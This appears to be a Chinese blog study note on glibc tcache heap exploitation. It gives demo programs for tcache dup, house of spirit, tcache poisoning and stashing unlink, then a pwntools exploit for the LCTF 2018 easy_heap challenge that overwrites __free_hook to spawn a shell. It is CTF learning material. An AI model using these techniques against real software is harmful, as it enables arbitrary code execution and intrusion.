ubuntu 18.04 下测试

tcache介绍

**
源码看不动，说一下通过实验得到的：
同一大小的 chunk free 之后前 7 个会放到一个 tcache 链表里面，不同大小的放在不同的链表中

image.png

最大能放 0x408 的，再大就要按照原本的那样放到 unsortedbin 中了

image.png

程序再次申请内存块的时候首先判断在 tchche 中是否存在，如果存在的话会先从 tcache 中拿
后进先出

tcache_dup

  1. #include <stdio.h>
  2. #include <stdlib.h>
  4. int main()
  5. {
  6.     fprintf(stderr, "先申请一块内存\n");
  7.     int *a = malloc(8);
  9.     fprintf(stderr, "申请的内存地址是: %p\n", a);
  10.     fprintf(stderr, "对这块内存地址 free两次\n");
  11.     free(a);
  12.     free(a);
  14.     fprintf(stderr, "这时候链表是这样的 [ %p, %p ].\n", a, a);
  15.     fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].\n", malloc(8), malloc(8));
  16.     fprintf(stderr, "ojbk\n");
  17.     return 0;
  18. }

gcc -g tcache_dup.c
运行之后的结果：

image.png

一开始申请了 0x8 大小的 chunk，后来 free了两次

image.png

然后再去申请的话也会申请这俩在 tcache 中的，所以后面输出的 malloc 的地址还是一样的

tcache_house_of_spirit

  1. #include <stdio.h>
  2. #include <stdlib.h>
  4. int main()
  5. {
  6.     malloc(1);
  7.     unsigned long long *a;
  8.     unsigned long long fake_chunks[10];
  9.     fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]);
  10.     fprintf(stderr, "fake_chunks[1] 改成 0x40 \n");
  11.     fake_chunks[1] = 0x40;
  12.     fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]);
  13.     a = &fake_chunks[2];
  14.     fprintf(stderr, "free 掉 a\n");
  15.     free(a);
  16.     fprintf(stderr, "再去 malloc(0x30)，在可以看到申请来的结果在: %p\n", malloc(0x30));
  17.     fprintf(stderr, "ojbk\n");
  18. }

首先取了一个数组

image.png

然后把数组的 index1 改成了 0x40（chunk 的大小）

image.png

然后把数组的 index2 的地址赋给了 a，之后去 free a，再去申请回来的话就会把 a 申请回来，这样就申请了 fake chunks[2] 那里

image.png

tcache_poisoning

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  5. int main()
  6. {
  7.     setbuf(stdin, NULL);
  8.     setbuf(stdout, NULL);
  9.     size_t stack_var;
  10.     printf("定义了一个变量 stack_var，我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);
  12.     printf("接下来申请两个 chunk\n");
  13.     intptr_t *a = malloc(128);
  14.     printf("chunk a 在: %p\n", a);
  15.     intptr_t *b = malloc(128);
  16.     printf("chunk b 在: %p\n", b);
  18.     printf("free 掉这两个 chunk\n");
  19.     free(a);
  20.     free(b);
  22.     printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
  23.     printf("我们把 %p 的前 %lu 字节（也就是 fd/next 指针）改成 stack_var 的地址：%p", b, sizeof(intptr_t), &stack_var);
  24.     b[0] = (intptr_t)&stack_var;
  25.     printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);
  27.     printf("然后一次 malloc : %p\n", malloc(128));
  28.     printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);
  30.     intptr_t *c = malloc(128);
  31.     printf("第二次 malloc: %p\n", c);
  32.     printf("ojbk\n");
  34.     return 0;
  35. }

程序首先定义了一个变量，我们想要做的就是让程序 malloc 到变量那里
malloc 两个 chunk，然后 free 掉，这时候链表及内存布局是这样的

image.png

image.png

然后把 b 的 fd 指针改成那个变量地址

image.png

这时候 tcache 的链表是这样的

image.png

然后连续申请两个 chunk，来看一下申请到的地址是啥样的

image.png

tcache_stashing_unlink_attack

  1. #include <stdio.h>
  2. #include <stdlib.h>
  4. int main(){
  5.     unsigned long stack_var[0x10] = {0};
  6.     unsigned long *chunk_lis[0x10] = {0};
  7.     unsigned long *target;
  8.     unsigned long *pp;
  10.     fprintf(stderr, "stack_var 是我们希望分配到的地址，我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin（即 fake chunk->bk 应该是一个可写的地址）\n");
  11.     stack_var[3] = (unsigned long)(&stack_var[2]);
  12.     fprintf(stderr, "修改之后 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
  13.     fprintf(stderr, "stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
  14.     fprintf(stderr, "现在申请 9 个 0x90 的 chunk\n");
  16.     for(int i = 0;i < 9;i++){
  17.         chunk_lis[i] = (unsigned long*)malloc(0x90);
  18.     }
  19.     fprintf(stderr, "先释放 6 个，这 6 个都会放到 tcache 里面\n");
  21.     for(int i = 3;i < 9;i++){
  22.         free(chunk_lis[i]);
  23.     }
  24.     fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的，后面的都会放到 unsortedbin 中\n");
  26.     free(chunk_lis[1]);
  27.     //接下来的就是放到 unsortedbin 了
  28.     free(chunk_lis[0]);
  29.     free(chunk_lis[2]);
  30.     fprintf(stderr, "接下来申请一个大于 0x90 的 chunk，chunk0 和 chunk2 都会被整理到 smallbin 中\n");
  31.     malloc(0xa0);//>0x90
  33.     fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunk\n");
  34.     malloc(0x90);
  35.     malloc(0x90);
  37.     fprintf(stderr, "假设有个漏洞，可以把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n",(void*)stack_var);
  38.     chunk_lis[2][1] = (unsigned long)stack_var;
  39.     fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk，他会把一个 smallbin 里的 chunk0 返回给我们，另一个 smallbin 的 chunk2 将会与 tcache 相连.\n");
  40.     pp = calloc(1,0x90);
  42.     fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中，它的 fd 指针现在指向下一个空闲的块: %p， bck->fd 已经变成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
  43.     target = malloc(0x90);  
  44.     fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %p\n",(void*)target); 
  45.     fprintf(stderr, "ojbk\n");
  46.     return 0;
  47. }

在 tcache 有剩余（不够 7 个）的时候，smallbin 中的相同大小空闲块会放入 tcache 中，这时候也会出现 unlink 操作
calloc 在分配时不会用 tcache bin 的

首先把 7 个放到 tcache bin 中，剩下两个放在 unsorted bin 中
0x555555757250 是 chunk0，0x555555757390 是 chunk2

image.png

这时候去申请一个 0xa0 大小的 chunk，那俩在 unsorted bin 中的 chunk 整理放在了 small bin 中

image.png

再去申请两个 0x90 大小的会从 tcache bin 中分配，这时候 tcache 还剩 5 个

image.png

然后把 chunk2 的 bk 改成 &stack_var，在一开始是这样的

image.png

改后：

image.png

另外此时的 bins

image.png

使用 calloc 去申请 0x90 大小的 chunk 会把 0x555555757250 申请出去，这时候如果 tcachebin 还有空闲的位置，剩下的 smallbin 从最后一个 0x7fffffffddc0 开始顺着 bk 链接到 tcachebin 中
https://dayjun.top/2020/02/07/smallbin在unlink的时候存在的漏洞/

image.png

tcache 是后进先出的，所以这时候再去申请就拿到了 0x7fffffffddc0 这个地址的 chunk

image.png

调试不了！？先放过去了Orz
找了几道题，都调不出来。。。貌似环境不一样！？烦！

LCTF 2018 easy_heap

  1. from pwn import *
  2. p=process('./easy_heap',env={'LD_PRELOAD':'./libc64.so'})
  3. libc = ELF('./libc64.so')
  5. def cmd(choice):
  6.   p.sendlineafter('> ',str(choice))
  8. def malloc(size,content):
  9.   cmd(1)
  10.   p.sendlineafter('> ',str(size))
  11.   p.sendlineafter('> ',content)
  13. def free(index):
  14.   cmd(2)
  15.   p.sendlineafter('> ',str(index))
  17. def puts(index):
  18.   cmd(3)
  19.   p.sendlineafter('> ',str(index))
  21. for i in range(10):
  22.   malloc(0xf0,'yichen')
  24. free(1)
  25. for i in range(3,8):
  26.   free(i)
  28. free(9)
  29. free(8)
  30. free(2)
  31. free(0)
  33. for i in range(7):
  34.   malloc(0xf0,'yichen')
  36. malloc(0,'')
  37. malloc(0xf8,'')
  39. free(0)
  40. free(1)
  41. free(2)
  42. free(3)
  43. free(4)
  44. free(6)
  45. free(5)
  47. for i in range(7):
  48.   malloc(16,'/bin/bash\n')
  50. p.recvuntil('>')
  51. p.sendline('3')
  52. p.recvuntil('index \n> ')
  53. p.sendline('8')
  55. addr=u64(p.recv(6).ljust(8,'\x00'))
  56. libc_base=addr- (0x00007f97e7321ca0-0x7f97e6f36000)
  58. free_hook = libc_base+libc.symbols['__free_hook']
  59. sys = libc_base +0x4f322
  60. malloc(0,'')
  61. free(5)
  62. free(8)
  63. free(9)
  64. malloc(16,p64(free_hook)+'\n')
  65. malloc(16,'/bin/bash\x00')
  66. malloc(16,p64(sys)+'\n')
  67. free(0)
  69. p.interactive()

在一开始会先申请 0xa0 大小的 chunk，用来存放接下来用户申请的 chunk 指针和大小

image.png

后面程序最大能申请 0xf8 大小的 chunk

image.png

这里有一个 off by null 的漏洞，可以通过它使得下一个的 prev_in_use 变成 0

image.png